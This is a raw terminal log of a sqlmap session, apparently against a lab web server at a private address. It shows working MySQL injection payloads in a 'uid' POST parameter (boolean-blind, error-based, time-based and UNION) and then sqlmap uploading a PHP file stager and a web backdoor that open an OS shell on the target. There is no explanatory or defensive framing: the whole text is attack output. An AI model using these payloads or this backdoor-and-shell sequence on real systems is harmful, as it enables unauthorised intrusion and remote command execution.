1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
| ┌──(root㉿kali)-[~/yiyi/tmp]
└─
___
__H__
___ ___[.]_____ ___ ___ {1.8.6.3
|_ -| . [.] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:01:45 /2024-09-05/
[04:01:45] [INFO] parsing HTTP request from 'req.txt'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q]
[04:01:46] [INFO] resuming back-end DBMS 'mysql'
[04:01:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter:
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: uid=1' OR NOT 8795=8795#&Operation=Submit
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: uid=1' AND GTID_SUBSET(CONCAT(0x717a7a6271,(SELECT (ELT(4231=4231,1))),0x71706b7671),4231)-- LvwO&Operation=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: uid=1' AND (SELECT 1312 FROM (SELECT(SLEEP(5)))sBBH)-- DdYi&Operation=Submit
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: uid=1' UNION ALL SELECT NULL,NULL,CONCAT(0x717a7a6271,0x455143624b59675148644e666b6d786f66745057795551626e6643544a4f4c58776177534e6e697a,0x71706b7671)
---
[04:01:46] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.6
[04:01:46] [INFO] going to use a web backdoor for command prompt
[04:01:46] [INFO] fingerprinting the back-end DBMS operating system
[04:01:46] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n]
[04:01:51] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
[04:02:05] [WARNING] unable to automatically parse any web server path
[04:02:05] [INFO] trying to upload the file stager on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' via LIMIT 'LINES TERMINATED BY' method
[04:02:05] [INFO] the file stager has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.2.5:80/se3reTdir777/uploads/tmpuzwml.php
[04:02:05] [INFO] the backdoor has been successfully uploaded on '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/' - http://192.168.2.5:80/se3reTdir777/uploads/tmpbcmer.php
[04:02:05] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
|
